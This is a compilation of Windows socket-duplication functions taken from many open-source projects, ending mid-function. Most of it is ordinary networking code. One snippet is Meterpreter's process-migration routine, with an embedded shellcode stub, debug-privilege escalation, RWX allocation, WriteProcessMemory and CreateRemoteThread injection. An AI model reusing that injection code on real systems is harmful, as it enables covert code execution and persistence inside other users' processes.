/** * setup the notification-fd of a event-thread * * all event-threads listen on the same notification pipe * * @see chassis_event_handle() */ int chassis_event_threads_init_thread(chassis_event_threads_t *threads, chassis_event_thread_t *event_thread, chassis *chas) { #ifdef WIN32 LPWSAPROTOCOL_INFO lpProtocolInfo; #endif event_thread->event_base = event_base_new(); event_thread->chas = chas; #ifdef WIN32 lpProtocolInfo = g_malloc(sizeof(WSAPROTOCOL_INFO)); if (SOCKET_ERROR == WSADuplicateSocket(threads->event_notify_fds[0], GetCurrentProcessId(), lpProtocolInfo)) { g_error("%s: Could not duplicate socket: %s (%d)", G_STRLOC, g_strerror(WSAGetLastError()), WSAGetLastError()); } event_thread->notify_fd = WSASocket(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, lpProtocolInfo, 0, 0); if (INVALID_SOCKET == event_thread->notify_fd) { g_error("%s: Could not create duplicated socket: %s (%d)", G_STRLOC, g_strerror(WSAGetLastError()), WSAGetLastError()); } g_free(lpProtocolInfo); #else event_thread->notify_fd = dup(threads->event_notify_fds[0]); #endif #if 0 evutil_make_socket_nonblocking(event_thread->notify_fd); #endif event_set(&(event_thread->notify_fd_event), event_thread->notify_fd, EV_READ | EV_PERSIST, chassis_event_handle, event_thread); event_base_set(event_thread->event_base, &(event_thread->notify_fd_event)); event_add(&(event_thread->notify_fd_event), NULL); return 0; }
Bool HawkOSOperator::CopySocket(SOCKET hSock, UInt32 iProcessId, WSAPROTOCOL_INFO* pInfo) { if (hSock != INVALID_SOCKET && pInfo) { Int32 iRet = WSADuplicateSocket(hSock,iProcessId,pInfo); return iRet == 0; } return false; }
KRB5_LIB_FUNCTION krb5_storage * KRB5_LIB_CALL krb5_storage_from_socket(krb5_socket_t sock_in) { krb5_storage *sp; int saved_errno; krb5_socket_t sock; #ifdef _WIN32 WSAPROTOCOL_INFO info; if (WSADuplicateSocket(sock_in, GetCurrentProcessId(), &info) == 0) { sock = WSASocket( FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, &info, 0, 0); } #else sock = dup(sock_in); #endif if (sock == rk_INVALID_SOCKET) return NULL; errno = ENOMEM; sp = malloc(sizeof(krb5_storage)); if (sp == NULL) { saved_errno = errno; rk_closesocket(sock); errno = saved_errno; return NULL; } errno = ENOMEM; sp->data = malloc(sizeof(socket_storage)); if (sp->data == NULL) { saved_errno = errno; rk_closesocket(sock); free(sp); errno = saved_errno; return NULL; } sp->flags = 0; sp->eof_code = HEIM_ERR_EOF; SOCK(sp) = sock; sp->fetch = socket_fetch; sp->store = socket_store; sp->seek = socket_seek; sp->trunc = socket_trunc; sp->fsync = socket_sync; sp->free = socket_free; sp->max_alloc = UINT_MAX/8; return sp; }
static int make_wsaprotocol_info(pid_t process, rb_fde_t *F, WSAPROTOCOL_INFO * inf) { WSAPROTOCOL_INFO info; if(!WSADuplicateSocket((SOCKET) rb_get_fd(F), process, &info)) { memcpy(inf, &info, sizeof(WSAPROTOCOL_INFO)); return 1; } return 0; }
static JSVAL net_duplicateSocket(JSARGS args) { HandleScope scope; BOOL ret = 0; WSAPROTOCOL_INFO *protInfo = new WSAPROTOCOL_INFO[1]; Local<External>wrap = Local<External>::Cast(args[0]); int sock_client = args[1]->IntegerValue(); PROCESS_INFORMATION *piProc = (PROCESS_INFORMATION *) wrap->Value(); printf("Duplicate socket\r\n"); /* I duplicate the socket */ ret = WSADuplicateSocket(sock_client, piProc->dwProcessId, protInfo); return scope.Close(External::New(protInfo)); }
void create_crt_fd(fd_set *os_set, fd_set *crt_set) { int i; crt_set->fd_count = os_set->fd_count; for (i = 0; i < os_set->fd_count; i++) { WSAPROTOCOL_INFO wsa_pi; // dupicate the SOCKET int r = WSADuplicateSocket(os_set->fd_array[i], GetCurrentProcessId(), &wsa_pi); SOCKET s = WSASocket(wsa_pi.iAddressFamily, wsa_pi.iSocketType, wsa_pi.iProtocol, &wsa_pi, 0, 0); // create the CRT fd so ruby can get back to the SOCKET int fd = _open_osfhandle(s, O_RDWR|O_BINARY); os_set->fd_array[i] = s; crt_set->fd_array[i] = fd; } }
static VALUE rb_mysql_client_socket(VALUE self) { GET_CLIENT(self); REQUIRE_OPEN_DB(wrapper); int fd_set_fd = wrapper->client->net.fd; #ifdef _WIN32 WSAPROTOCOL_INFO wsa_pi; // dupicate the SOCKET from libmysql int r = WSADuplicateSocket(wrapper->client->net.fd, GetCurrentProcessId(), &wsa_pi); SOCKET s = WSASocket(wsa_pi.iAddressFamily, wsa_pi.iSocketType, wsa_pi.iProtocol, &wsa_pi, 0, 0); // create the CRT fd so ruby can get back to the SOCKET fd_set_fd = _open_osfhandle(s, O_RDWR|O_BINARY); return INT2NUM(fd_set_fd); #else return INT2NUM(fd_set_fd); #endif }
rktio_fd_t *rktio_socket_dup(rktio_t *rktio, rktio_fd_t *rfd) { #ifdef RKTIO_SYSTEM_UNIX return rktio_dup(rktio, rfd); #endif #ifdef RKTIO_SYSTEM_WINDOWS rktio_socket_t s = rktio_fd_socket(rktio, rfd); rktio_socket_t nsocket; intptr_t rc; WSAPROTOCOL_INFO protocolInfo; rc = WSADuplicateSocket(s, GetCurrentProcessId(), &protocolInfo); if (rc) { get_socket_error(); return NULL; } nsocket = WSASocket(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, &protocolInfo, 0, WSA_FLAG_OVERLAPPED); if (nsocket == INVALID_SOCKET) { get_socket_error(); return NULL; } return rktio_system_fd(rktio, nsocket, rktio_fd_modes(rktio, rfd) | RKTIO_OPEN_OWN); #endif }
DWORD remote_request_core_migrate(Remote *remote, Packet *packet) { MigrationStubContext context; TOKEN_PRIVILEGES privs; HANDLE token = NULL; Packet *response = packet_create_response(packet); HANDLE process = NULL; HANDLE thread = NULL; HANDLE event = NULL; LPVOID dataBase; LPVOID codeBase; DWORD threadId; DWORD result = ERROR_SUCCESS; DWORD pid; PUCHAR payload; // Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer). BYTE stub[] = "\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext * "\x89\xE5" // mov ebp,esp ; create stack frame "\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack "\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32 "\x51" // push ecx ; push "ws2_32" "\xFF\x16" // call near [esi] ; call loadLibrary "\x54" // push esp ; push stack address "\x6A\x02" // push byte +0x2 ; push 2 "\xFF\x56\x0C" // call near [esi+0xC] ; call wsaStartup "\x6A\x00" // push byte +0x0 ; push null "\x6A\x00" // push byte +0x0 ; push null "\x8D\x46\x28" // lea eax,[esi+0x28] ; EAX = MigrationStubContext->info "\x50" // push eax ; push our duplicated socket "\x6A\x00" // push byte +0x0 ; push null "\x6A\x02" // push byte +0x2 ; push 2 "\x6A\x01" // push byte +0x1 ; push 1 "\xFF\x56\x10" // call near [esi+0x10] ; call wsaSocket "\x97" // xchg eax,edi ; edi now = our duplicated socket "\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event "\xFF\x56\x18" // call near [esi+0x18] ; call setevent "\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase "\xC3"; // ret ; return into the payload // Get the process identifier to inject into pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer... context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); // Receive the actual migration payload (metsrv.dll + loader) payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); // Try to enable the debug privilege so that we can migrate into system // services if we're administrator. if (OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { privs.PrivilegeCount = 1; privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &privs.Privileges[0].Luid); AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL); CloseHandle(token); } do { // Open the process so that we can into it if (!(process = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid))) { result = GetLastError(); break; } // If the socket duplication fails... if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR) { result = WSAGetLastError(); break; } // Create a notification event that we'll use to know when // it's safe to exit (once the socket has been referenced in // the other process) if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL))) { result = GetLastError(); break; } // Duplicate the event handle into the target process if (!DuplicateHandle(GetCurrentProcess(), event, process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS)) { result = GetLastError(); break; } // Initialize the migration context context.loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA"); context.wsaStartup = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup"); context.wsaSocket = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA"); context.recv = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv"); context.setevent = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent"); strcpy(context.ws2_32, "ws2_32"); // Allocate storage for the stub and context if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { result = GetLastError(); break; } // Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload... if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { result = GetLastError(); break; } // Initialize the data and code base in the target process codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext); if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL)) { result = GetLastError(); break; } if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL)) { result = GetLastError(); break; } if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL)) { result = GetLastError(); break; } // Send a successful response to let them know that we've pretty much // successfully migrated and are reaching the point of no return packet_transmit_response(result, remote, response); // XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket. // Shut down our SSL session // ssl_close_notify(&remote->ssl); // ssl_free(&remote->ssl); response = NULL; // Create the thread in the remote process if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId))) { result = GetLastError(); ExitThread(result); } // Wait at most 5 seconds for the event to be set letting us know that // it's finished if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0) { result = GetLastError(); ExitThread(result); } // Exit the current process now that we've migrated to another one dprintf("Shutting down the Meterpreter thread..."); ExitThread(0); } while (0); // If we failed and have not sent the response, do so now if (result != ERROR_SUCCESS && response) packet_transmit_response(result, remote, response); // Cleanup if (process) CloseHandle(process); if (thread) CloseHandle(thread); if (event) CloseHandle(event); return ERROR_SUCCESS; }
static VALUE rb_mysql_client_query(int argc, VALUE * argv, VALUE self) { struct nogvl_send_query_args args; fd_set fdset; int fd, retval; int async = 0; VALUE opts, defaults, read_timeout; #ifdef HAVE_RUBY_ENCODING_H rb_encoding *conn_enc; #endif struct timeval tv; struct timeval* tvp; long int sec; VALUE result; GET_CLIENT(self); REQUIRE_OPEN_DB(wrapper); args.mysql = wrapper->client; // see if this connection is still waiting on a result from a previous query if (wrapper->active == 0) { // mark this connection active wrapper->active = 1; } else { rb_raise(cMysql2Error, "This connection is still waiting for a result, try again once you have the result"); } defaults = rb_iv_get(self, "@query_options"); if (rb_scan_args(argc, argv, "11", &args.sql, &opts) == 2) { opts = rb_funcall(defaults, intern_merge, 1, opts); rb_iv_set(self, "@query_options", opts); if (rb_hash_aref(opts, sym_async) == Qtrue) { async = 1; } } else { opts = defaults; } Check_Type(args.sql, T_STRING); #ifdef HAVE_RUBY_ENCODING_H conn_enc = rb_to_encoding(wrapper->encoding); // ensure the string is in the encoding the connection is expecting args.sql = rb_str_export_to_enc(args.sql, conn_enc); #endif if (rb_thread_blocking_region(nogvl_send_query, &args, RUBY_UBF_IO, 0) == Qfalse) { // an error occurred, we're not active anymore MARK_CONN_INACTIVE(self); return rb_raise_mysql2_error(wrapper); } read_timeout = rb_iv_get(self, "@read_timeout"); tvp = NULL; if (!NIL_P(read_timeout)) { Check_Type(read_timeout, T_FIXNUM); tvp = &tv; sec = FIX2INT(read_timeout); // TODO: support partial seconds? // also, this check is here for sanity, we also check up in Ruby if (sec >= 0) { tvp->tv_sec = sec; } else { rb_raise(cMysql2Error, "read_timeout must be a positive integer, you passed %ld", sec); } tvp->tv_usec = 0; } if (!async) { // the below code is largely from do_mysql // http://github.com/datamapper/do fd = wrapper->client->net.fd; for(;;) { int fd_set_fd = fd; #if defined(_WIN32) && !defined(HAVE_RB_THREAD_BLOCKING_REGION) WSAPROTOCOL_INFO wsa_pi; // dupicate the SOCKET from libmysql int r = WSADuplicateSocket(fd, GetCurrentProcessId(), &wsa_pi); SOCKET s = WSASocket(wsa_pi.iAddressFamily, wsa_pi.iSocketType, wsa_pi.iProtocol, &wsa_pi, 0, 0); // create the CRT fd so ruby can get back to the SOCKET fd_set_fd = _open_osfhandle(s, O_RDWR|O_BINARY); #endif FD_ZERO(&fdset); FD_SET(fd_set_fd, &fdset); retval = rb_thread_select(fd_set_fd + 1, &fdset, NULL, NULL, tvp); #if defined(_WIN32) && !defined(HAVE_RB_THREAD_BLOCKING_REGION) // cleanup the CRT fd _close(fd_set_fd); // cleanup the duplicated SOCKET closesocket(s); #endif if (retval == 0) { rb_raise(cMysql2Error, "Timeout waiting for a response from the last query. (waited %d seconds)", FIX2INT(read_timeout)); } if (retval < 0) { rb_sys_fail(0); } if (retval > 0) { break; } } result = rb_mysql_client_async_result(self); return result; } else { return Qnil; } }
// The server and client have to rely on // certain interprocess communication schemes // to exchange the WSAPROTOCOL_INFO needed for // duplicating the socket. In this sample, // we use momory mapped files. BOOL DispatchChild(SOCKET ClientSock, char *pszChildProcName) { char szChildComandLineBuf[MAX_PATH]; char szFileMappingObj[MAX_PATH]; BOOL bResult = TRUE; STARTUPINFO siParent; PROCESS_INFORMATION piChild; char szParentEventName[MAX_PATH]; char szChildEventName[MAX_PATH]; ZeroMemory(&siParent, sizeof(siParent)); siParent.cb = sizeof(siParent); siParent.dwFlags = STARTF_USECOUNTCHARS; siParent.dwXCountChars = 10 * MAX_PATH; siParent.dwYCountChars = MAX_PATH; // Compose a name for the memory mappled file. sprintf_s(szFileMappingObj, MAX_PATH, "%s%i", FILE_MAPPING_BASE_NAME, nChildProcCount++); sprintf_s(szParentEventName, MAX_PATH,"%s%s", szFileMappingObj, PARENT); sprintf_s(szChildEventName, MAX_PATH,"%s%s", szFileMappingObj, CHILD); // Create an event to signal the child // that the protocol info is set if ((ghParentFileMappingEvent = CreateEvent(NULL, TRUE, FALSE, szParentEventName)) == NULL) { fprintf(stderr, "\nCreateEvent() failed: %d\n", GetLastError()); return FALSE; } // Create an event to for the child to signal the // parent that the protocol info can be released if ((ghChildFileMappingEvent = CreateEvent(NULL, TRUE, FALSE, szChildEventName)) == NULL) { fprintf(stderr, "\nCreateEvent() failed: %d\n", GetLastError()); CloseHandle(ghParentFileMappingEvent); ghParentFileMappingEvent = NULL; return FALSE; } // Set up the child process command line options. // The memory mapped file name is passed in as // one of the options. sprintf_s(szChildComandLineBuf, MAX_PATH, "%s /c %s", pszChildProcName, szFileMappingObj); if (CreateProcess(NULL, szChildComandLineBuf, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &siParent, &piChild)) { WSAPROTOCOL_INFO ProtocolInfo; int nError; LPVOID lpView; int nStructLen = sizeof(WSAPROTOCOL_INFO); // Get the protocol information // to be used to duplicate the socket if (WSADuplicateSocket(ClientSock, piChild.dwProcessId, &ProtocolInfo) == SOCKET_ERROR) { fprintf(stderr, "WSADuplicateSocket(): failed. Error = %d\n", WSAGetLastError()); DoCleanup(); exit(1); } // Set the protocol information in a // memory mapped file for the child to use ghMMFileMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, nStructLen, szFileMappingObj); if (ghMMFileMap != NULL) { if ((nError = GetLastError()) == ERROR_ALREADY_EXISTS) fprintf(stderr, "CreateFileMapping(): mappping file already exists\n"); else { lpView = MapViewOfFile(ghMMFileMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0); if (lpView != NULL) { memcpy(lpView, &ProtocolInfo, nStructLen); UnmapViewOfFile(lpView); // Signal the child the protocol infomation is set SetEvent(ghParentFileMappingEvent); // Wait the child to signal that the protocol // infomation can be released now if (WaitForSingleObject(ghChildFileMappingEvent, 2000) == WAIT_OBJECT_0) { fprintf(stderr, "WaitForSingleObject() failed: %d\n", GetLastError()); DoCleanup(); exit(1); } } else { fprintf(stderr, "MapViewOfFile() failed: %d\n", GetLastError()); bResult = FALSE; } } CloseHandle(ghMMFileMap); ghMMFileMap = NULL; } else { fprintf(stderr, "CreateFileMapping() failed: %d\n", GetLastError()); bResult = FALSE; } CloseHandle(piChild.hThread); CloseHandle(piChild.hProcess); } else { printf("\nCreate child process failed!!!\n"); bResult = FALSE; } if (ghParentFileMappingEvent != NULL) { CloseHandle(ghParentFileMappingEvent); ghParentFileMappingEvent = NULL; } if (ghChildFileMappingEvent != NULL) { CloseHandle(ghChildFileMappingEvent); ghChildFileMappingEvent = NULL; } return bResult; }
/// Do 'execute' instruction. /// /// \param sCommand_line fully command line, after modify /// /// Return AGENT_RET_SUCCESS if succeed, or AGENT_RET_FAIL if fail static MBA_AGENT_RETURN execute_cmd(CHAR *sCmdline) { // Child : hOutputWrite, hInputRead, hErrorWrite // Parent : hOutputRead, hInputWrite HANDLE hOutputRead, hOutputWrite; HANDLE hInputRead, hInputWrite; HANDLE hErrorWrite; // Thread handler HANDLE hThread; DWORD dTid; DWORD dEndSize = 0; WSAPROTOCOL_INFO protoInfo; SECURITY_ATTRIBUTES pipeAttr; // Set up the security attributes struct. pipeAttr.nLength = sizeof(SECURITY_ATTRIBUTES); pipeAttr.lpSecurityDescriptor = NULL; pipeAttr.bInheritHandle = TRUE; // Create the child output pipe. if (!CreatePipe(&hOutputRead, &hOutputWrite, &pipeAttr, 0)) { write_agent_log("execute_cmd - CreatePipe", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } // Create a duplicate of the output write handle for the std error write handle. // This is necessary in case the child application closes one of its std output handles. if ( !DuplicateHandle( GetCurrentProcess(), hOutputWrite, GetCurrentProcess(), &hErrorWrite, 0, TRUE, DUPLICATE_SAME_ACCESS) ) { write_agent_log("execute_cmd - DuplicateHandle : hErrorWrite -> hOutputWrite", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } // Create the child input pipe. if ( !CreatePipe( &hInputRead, &hInputWrite, &pipeAttr,0) ){ write_agent_log("execute_cmd - CreatePipe", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } // Ensure the handle for reading from child stdout pipe is not inherited if ( !SetHandleInformation( hOutputRead, HANDLE_FLAG_INHERIT, 0) ) { write_agent_log("execute_cmd - SetHandleInformation : Child read", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } // Ensure the handle for writing to child stdin pipe is not inherited if ( !SetHandleInformation( hInputWrite, HANDLE_FLAG_INHERIT, 0) ) { write_agent_log("execute_cmd - SetHandleInformation : Child write", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } // Sets up STARTUPINFO structure, and launches redirected child. if ( prep_and_launch_redirected_child(sCmdline, hOutputWrite, hInputRead, hErrorWrite) == 0 ) { write_agent_log("execute_cmd - prep_and_launch_redirected_child", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } // Close pipe handles (do not continue to modify in the parent). if (!CloseHandle(hOutputWrite)) { write_agent_log("execute_cmd - CloseHandle : Child Write", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } if (!CloseHandle(hInputRead)) { write_agent_log("execute_cmd - CloseHandle : Child Read", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } if (!CloseHandle(hErrorWrite)) { write_agent_log("execute_cmd - CloseHandle : Child Error", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } // Duplicate ClientSocket for thread WSADuplicateSocket( g_sClientSocket, GetCurrentProcessId(), &protoInfo ); g_sClientDupSocket = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, &protoInfo, 0, 0 ); if( g_sClientDupSocket == INVALID_SOCKET ) { write_agent_log("execute_cmd - WSASocket : Dup ClientSocket", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } // Launch the thread that gets the input and sends it to the child. hThread = CreateThread( NULL, // a pointer to a SECURITY_ATTRIBUTES structure 0, // the initial size of the stack, in bytes get_and_send_input_thread, // a pointer to the application-defined function to be executed by the thread (LPVOID)hInputWrite, // a pointer to a variable to be passed to the thread. 0, // the flags that control the creation of the thread &dTid); // a pointer to a variable that receives the thread identifier. // If this parameter is NULL, the thread identifier is not returned. if (hThread == NULL) { write_agent_log("execute_cmd - CreateThread : Write", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } // Read the child's output read_and_handle_output( hOutputRead ); // Redirection is complete // Tell the thread to exit and wait for thread to die. closesocket( g_sClientDupSocket ); // send out the zero-sized message to terminate agent 'exec' action ac_write( (CONST CHAR*)&dEndSize, sizeof(dEndSize) ); // Wait Thread which keep receiving & forwarding commands if ( TerminateThread(hThread, 0) == 0) { write_agent_log("TerminateThread", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } // Close input and output handle if (!CloseHandle(hOutputRead)) { write_agent_log("execute_cmd - CloseHandle : hOutputRead", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } if (!CloseHandle(hInputWrite)) { write_agent_log("execute_cmd - CloseHandle : hInputWrite", TRUE); send_ecm_msg( FALSE ); return AGENT_RET_FAIL; } send_ecm_msg( TRUE ); return AGENT_RET_SUCCESS; }
/* * Create a socket connected with a server. * * `host' is a host name or an IP address of the server. `port' is * destination port number of the TCP connection. `family' is protocol * family: PF_INET, PF_INET6 or PF_UNSPEC. * * Upon success, file descriptor of the socket is returned. * Otherwise -1 is returned. * * If there has been a socket entry in `ebnet_socket_entries' which is * connected with the server, this function simply duplicates the socket. */ int ebnet_connect_socket(const char *host, int port, int family) { char ipv6_address[INET6_ADDRSTRLEN + IF_NAMESIZE]; char ipv4_address[INET_ADDRSTRLEN]; EBNet_Socket_Entry *multiplex_entry = NULL; EBNet_Socket_Entry *new_entry = NULL; int new_file = -1; /* * Get IP addresses of `host'. */ *ipv6_address = '\0'; *ipv4_address = '\0'; ebnet_get_addresses(host, ipv6_address, ipv4_address); switch (family) { case PF_UNSPEC: if (*ipv6_address == '\0' && *ipv4_address == '\0') goto failed; break; case PF_INET6: if (*ipv6_address == '\0') goto failed; break; case PF_INET: if (*ipv4_address == '\0') goto failed; break; } /* * Search `ebnet_socket_entries' for a connection entry with * the server. */ multiplex_entry = ebnet_find_multiplex_entry(ipv6_address, ipv4_address, port, family); /* * Create a socket entry. */ new_entry = (EBNet_Socket_Entry *)malloc(sizeof(EBNet_Socket_Entry)); if (new_entry == NULL) goto failed; new_entry->address[0] = '\0'; new_entry->port = port; new_entry->file = -1; new_entry->reference_count = 1; new_entry->reference_id = -1; new_entry->lost_sync = 0; new_entry->next = NULL; new_entry->back = NULL; new_entry->book_name[0] = '\0'; new_entry->file_path[0] = '\0'; new_entry->offset = 0; new_entry->file_size = 0; if (multiplex_entry != NULL) { /* * There is an IPv6 or IPv4 socket with the server. * Duplicate the socket entry. */ #ifndef WINSOCK new_file = dup(multiplex_entry->file); #else /* WINSOCK */ { WSAPROTOCOL_INFO info; if (WSADuplicateSocket(multiplex_entry->file, GetCurrentProcessId(), &info) != 0) goto failed; new_file = WSASocket(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, &info, 0, 0); } #endif /* WINSOCK */ if (new_file < 0) goto failed; strcpy(new_entry->address, multiplex_entry->address); new_entry->file = new_file; new_entry->reference_count = multiplex_entry->reference_count; new_entry->reference_id = multiplex_entry->reference_id; } else { /* * There is no socket connected with the server. * Establish a connection with the server. */ do { if ((family == PF_INET6 || family == PF_UNSPEC) && *ipv6_address != '\0') { new_file = ebnet_create_new_connection(ipv6_address, port); if (0 <= new_file) { strcpy(new_entry->address, ipv6_address); new_entry->file = new_file; new_entry->reference_id = new_file; break; } } if ((family == PF_INET || family == PF_UNSPEC) && *ipv4_address != '\0') { new_file = ebnet_create_new_connection(ipv4_address, port); if (0 <= new_file) { strcpy(new_entry->address, ipv4_address); new_entry->file = new_file; new_entry->reference_id = new_file; break; } } goto failed; } while (0); } /* * Add the entry to `ebnet_socket_entries'. */ ebnet_add_socket_entry(new_entry); /* * Say hello. */ if (multiplex_entry == NULL && hello_hook != NULL) { if (hello_hook(new_file) < 0) goto failed; } return new_file; /* * An error occurs... */ failed: if (new_entry != NULL) { if (ebnet_find_socket_entry(new_file) != NULL) ebnet_delete_socket_entry(new_entry); else free(new_entry); } if (new_file >= 0) close(new_file); return -1; }
bool SharedPortClient::PassSocket(Sock *sock_to_pass,char const *shared_port_id,char const *requested_by) { #ifndef HAVE_SHARED_PORT dprintf(D_ALWAYS,"SharedPortClient::PassSocket() not supported on this platform\n"); return false; #elif WIN32 if( !SharedPortIdIsValid(shared_port_id) ) { dprintf(D_ALWAYS, "ERROR: SharedPortClient: refusing to connect to shared port" "%s, because specified id is illegal! (%s)\n", requested_by, shared_port_id ); return false; } MyString pipe_name; MyString socket_dir; SharedPortEndpoint::paramDaemonSocketDir(pipe_name); pipe_name.sprintf_cat("%c%s",DIR_DELIM_CHAR,shared_port_id); MyString requested_by_buf; if( !requested_by ) { requested_by_buf.sprintf( " as requested by %s", sock_to_pass->peer_description()); requested_by = requested_by_buf.Value(); } HANDLE child_pipe; while(true) { child_pipe = CreateFile( pipe_name.Value(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if(child_pipe != INVALID_HANDLE_VALUE) break; if(GetLastError() == ERROR_PIPE_BUSY) { if (!WaitNamedPipe(pipe_name.Value(), 20000)) { dprintf(D_ALWAYS, "ERROR: SharedPortClient: Wait for named pipe for sending socket timed out: %d\n", GetLastError()); return false; } } else { dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to open named pipe for sending socket: %d\n", GetLastError()); return false; } } DWORD child_pid; DWORD read_bytes = 0; BOOL read_result = ReadFile(child_pipe, &child_pid, sizeof(DWORD), &read_bytes, NULL); if(!read_result) { DWORD last_error = GetLastError(); dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to read PID from pipe: %d.\n", last_error); CloseHandle(child_pipe); return false; } else { dprintf(D_FULLDEBUG, "SharedPortClient: Read PID: %d\n", child_pid); } #if 1 // tj:2012 kill the else block later #pragma pack(push, 4) struct { int id; // condor commmand id WSAPROTOCOL_INFO wsa; // payload. } protocol_command; #pragma pack(pop) ZeroMemory(&protocol_command, sizeof(protocol_command)); int dup_result = WSADuplicateSocket(sock_to_pass->get_file_desc(), child_pid, &protocol_command.wsa); if(dup_result == SOCKET_ERROR) { dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to duplicate socket.\n"); CloseHandle(child_pipe); return false; } protocol_command.id = SHARED_PORT_PASS_SOCK; BOOL write_result = WriteFile(child_pipe, &protocol_command, sizeof(protocol_command), &read_bytes, 0); #else WSAPROTOCOL_INFO protocol_info; int dup_result = WSADuplicateSocket(sock_to_pass->get_file_desc(), child_pid, &protocol_info); if(dup_result == SOCKET_ERROR) { dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to duplicate socket.\n"); CloseHandle(child_pipe); return false; } int bufferSize = (sizeof(int) + sizeof(protocol_info)); char *buffer = new char[bufferSize]; ASSERT( buffer ); int cmd = SHARED_PORT_PASS_SOCK; memcpy_s(buffer, sizeof(int), &cmd, sizeof(int)); memcpy_s(buffer+sizeof(int), sizeof(protocol_info), &protocol_info, sizeof(protocol_info)); BOOL write_result = WriteFile(child_pipe, buffer, bufferSize, &read_bytes, 0); delete [] buffer; #endif if(!write_result) { dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to send WSAPROTOCOL_INFO struct: %d\n", GetLastError()); CloseHandle(child_pipe); return false; } dprintf(D_FULLDEBUG, "SharedPortClient: Wrote %d bytes to named pipe.\n", read_bytes); FlushFileBuffers(child_pipe); CloseHandle(child_pipe); return true; #elif HAVE_SCM_RIGHTS_PASSFD if( !SharedPortIdIsValid(shared_port_id) ) { dprintf(D_ALWAYS, "ERROR: SharedPortClient: refusing to connect to shared port" "%s, because specified id is illegal! (%s)\n", requested_by, shared_port_id ); return false; } MyString sock_name; MyString socket_dir; SharedPortEndpoint::paramDaemonSocketDir(sock_name); sock_name.sprintf_cat("%c%s",DIR_DELIM_CHAR,shared_port_id); MyString requested_by_buf; if( !requested_by ) { requested_by_buf.sprintf( " as requested by %s", sock_to_pass->peer_description()); requested_by = requested_by_buf.Value(); } struct sockaddr_un named_sock_addr; memset(&named_sock_addr, 0, sizeof(named_sock_addr)); named_sock_addr.sun_family = AF_UNIX; strncpy(named_sock_addr.sun_path,sock_name.Value(),sizeof(named_sock_addr.sun_path)-1); if( strcmp(named_sock_addr.sun_path,sock_name.Value()) ) { dprintf(D_ALWAYS,"ERROR: SharedPortClient: full socket name%s 